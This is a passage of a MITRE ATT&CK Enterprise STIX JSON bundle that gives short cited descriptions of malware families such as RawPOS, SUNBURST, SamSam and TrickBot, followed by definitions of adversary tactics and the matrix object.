                    "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."
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            "description": "[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)",
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                    "source_name": "RawPOS",
                    "description": "(Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: DarkReading FireEye FIN5 Oct 2015)"
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                    "description": "The FIENDCRY component is a memory scraper based on MemPDump that scans through process memory looking for regular expressions. Its stage 1 component scans all processes, and its stage 2 component targets a specific process of interest. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: Github Mempdump) (Citation: DarkReading FireEye FIN5 Oct 2015)"
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                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.",
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                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
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                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
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            "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)",
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                    "source_name": "mitre-attack",
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                    "source_name": "SLOWDRIFT",
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                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf",
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
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                    "source_name": "SQLRat",
                    "description": "(Citation: Flashpoint FIN 7 March 2019)"
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                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
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                    "source_name": "SUNBURST",
                    "description": "(Citation: FireEye SUNBURST Backdoor December 2020)"
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                {
                    "source_name": "Solorigate",
                    "description": "(Citation: Microsoft Deep Dive Solorigate January 2021)"
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                    "source_name": "SolarWinds Sunburst Sunspot Update January 2021",
                    "url": "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/",
                    "description": "Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021."
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                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
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                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
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            "modified": "2021-04-24T22:36:06.030Z",
            "created": "2021-01-05T22:42:05.965Z",
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            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021) ",
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                    "source_name": "SUNSPOT",
                    "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)"
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                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
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            "modified": "2021-04-26T12:11:19.301Z",
            "created": "2021-01-12T16:14:28.845Z",
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                    "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/",
                    "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."
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                    "source_name": "Unit42 SUPERNOVA Dec 2020",
                    "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/",
                    "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."
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                    "description": "SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021."
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                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a",
                    "description": "CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021."
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                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
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                    "url": "https://attack.mitre.org/software/S0519"
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                    "source_name": "FireEye - Synful Knock",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
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                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
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                    "source_name": "Unit 42 CARROTBAT November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/",
                    "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."
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                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
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            "modified": "2020-06-15T15:17:10.012Z",
            "created": "2020-06-02T18:46:58.489Z",
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            "description": "[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)",
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                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "source_name": "Dell Sakula"
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0370"
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                    "source_name": "Samas",
                    "description": "(Citation: US-CERT SamSam 2018)"
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                    "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A",
                    "source_name": "US-CERT SamSam 2018"
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                    "source_name": "Talos SamSam Jan 2018",
                    "url": "https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html",
                    "description": "Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019."
                },
                {
                    "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.",
                    "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf",
                    "source_name": "Sophos SamSam Apr 2018"
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                    "url": "https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, October 30). SamSam: Targeted Ransomware Attacks Continue. Retrieved April 16, 2019."
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            "description": "[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)",
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                    "description": "(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)"
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                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
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                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
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                    "description": "Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021."
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                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
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                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
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                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
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                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
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                    "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/",
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                    "url": "https://attack.mitre.org/software/S0164",
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                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
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                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
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            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)",
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                    "description": "(Citation: Reed thiefquest fake ransom)"
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                    "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."
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            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)",
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            "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)",
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                    "description": "(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)"
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            "description": "[WellMess](https://attack.mitre.org/software/S0514) is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by [APT29](https://attack.mitre.org/groups/G0016).(Citation: CISA WellMess July 2020)(Citation: PWC WellMess July 2020)(Citation: NCSC APT29 July 2020)",
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                    "url": "https://attack.mitre.org/software/S0514"
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                    "source_name": "CISA WellMess July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b",
                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
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                    "source_name": "PWC WellMess July 2020",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
                    "source_name": "NCSC APT29 July 2020",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
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            "labels": [
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
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                    "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.",
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                    "external_id": "S0059",
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                    "source_name": "Baumgartner Naikon 2015",
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                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."
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                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."
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                    "source_name": "objective-see windtail2 jan 2019",
                    "url": "https://objective-see.com/blog/blog_0x3D.html",
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                    "source_name": "Microsoft NEODYMIUM Dec 2016",
                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
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                    "source_name": "Microsoft Wingbird Nov 2017",
                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
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                    "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a",
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            "modified": "2020-07-01T18:34:02.367Z",
            "created": "2020-04-29T15:06:59.171Z",
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            "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015) The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
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                    "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.",
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                    "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf",
                    "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.",
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            "description": "[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)",
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                    "external_id": "S0041"
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                    "description": "Dell SecureWorks. (2013, March 21). Wiper Malware Analysis Attacking Korean Financial Sector. Retrieved May 13, 2015.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/"
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                    "description": "(Citation: XAgentOSX 2017)"
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                    "description": "(Citation: Symantec APT28 Oct 2018)"
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                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/",
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            "description": "[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)",
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                    "description": "(Citation: ESET Sednit Part 2)"
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                    "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Symantec APT28 Oct 2018)"
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                    "description": "(Citation: ESET Sednit Part 2)"
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                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
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                    "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.",
                    "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"
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                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
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                    "source_name": "Symantec APT28 Oct 2018",
                    "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government",
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."
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            "modified": "2020-03-21T00:40:57.275Z",
            "created": "2017-05-31T21:33:09.453Z",
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                    "source_name": "Xbash",
                    "description": "(Citation: Unit42 Xbash Sept 2018)"
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                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
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                    "description": "Edwards, M. (2007, March 14). EldoS Provides Raw Disk Access for Vista and XP. Retrieved March 26, 2019."
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_shortname": "exfiltration",
            "type": "x-mitre-tactic",
            "modified": "2019-07-19T17:45:12.806Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "TA0040",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0040"
                }
            ],
            "name": "Impact",
            "description": "The adversary is trying to manipulate, interrupt, or destroy your systems and data.\n \nImpact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries\u2019 goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.",
            "id": "x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8",
            "type": "x-mitre-tactic",
            "modified": "2019-07-25T18:42:23.222Z",
            "created": "2019-03-14T18:44:44.639Z",
            "x_mitre_shortname": "impact"
        },
        {
            "id": "x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Initial Access",
            "description": "The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.",
            "external_references": [
                {
                    "external_id": "TA0001",
                    "url": "https://attack.mitre.org/tactics/TA0001",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_shortname": "initial-access",
            "type": "x-mitre-tactic",
            "modified": "2019-07-19T17:41:41.425Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Lateral Movement",
            "description": "The adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. ",
            "external_references": [
                {
                    "external_id": "TA0008",
                    "url": "https://attack.mitre.org/tactics/TA0008",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_shortname": "lateral-movement",
            "type": "x-mitre-tactic",
            "modified": "2019-07-19T17:44:36.953Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Persistence",
            "description": "The adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. ",
            "external_references": [
                {
                    "external_id": "TA0003",
                    "url": "https://attack.mitre.org/tactics/TA0003",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_shortname": "persistence",
            "type": "x-mitre-tactic",
            "modified": "2019-07-19T17:42:33.899Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Privilege Escalation",
            "description": "The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\n* SYSTEM/root level\n* local administrator\n* user account with admin-like access \n* user accounts with access to specific system or perform specific function\n\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.  ",
            "external_references": [
                {
                    "external_id": "TA0004",
                    "url": "https://attack.mitre.org/tactics/TA0004",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_shortname": "privilege-escalation",
            "type": "x-mitre-tactic",
            "modified": "2021-01-06T14:21:21.641Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "TA0043",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0043"
                }
            ],
            "name": "Reconnaissance",
            "description": "The adversary is trying to gather information they can use to plan future operations.\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.",
            "id": "x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1efd6e0592",
            "type": "x-mitre-tactic",
            "modified": "2020-10-18T02:04:50.842Z",
            "created": "2020-10-02T14:48:41.809Z",
            "x_mitre_shortname": "reconnaissance"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "TA0042",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/tactics/TA0042"
                }
            ],
            "name": "Resource Development",
            "description": "The adversary is trying to establish resources they can use to support operations.\n\nResource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.",
            "id": "x-mitre-tactic--d679bca2-e57d-4935-8650-8031c87a4400",
            "type": "x-mitre-tactic",
            "modified": "2020-09-30T16:31:36.322Z",
            "created": "2020-09-30T16:11:59.650Z",
            "x_mitre_shortname": "resource-development"
        },
        {
            "id": "x-mitre-matrix--eafc1b4c-5e56-4965-bd4e-66a6a89c88cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Enterprise ATT&CK",
            "description": "Below are the tactics and technique representing the MITRE ATT&CK Matrix for Enterprise. The Matrix contains information for the following platforms: Windows, macOS, Linux, AWS, GCP, Azure, Azure AD, Office 365, SaaS.",
            "external_references": [
                {
                    "external_id": "enterprise-attack",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/matrices/enterprise"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "x-mitre-matrix",
            "tactic_refs": [
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                "x-mitre-tactic--4ca45d45-df4d-4613-8980-bac22d278fa5",
                "x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92",
                "x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd",
                "x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a",
                "x-mitre-tactic--2558fd61-8c75-4730-94c4-11926db2a263",
                "x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9",
                "x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e",
                "x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe",
                "x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813",
                "x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462",
                "x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8"
            ],
            "modified": "2021-04-29T21:00:19.254Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "type": "marking-definition",
            "id": "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-06-01T00:00:00Z",
            "definition_type": "statement",
            "definition": {
                "statement": "Copyright 2015-2021, The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation."
            }
        }
    ]
}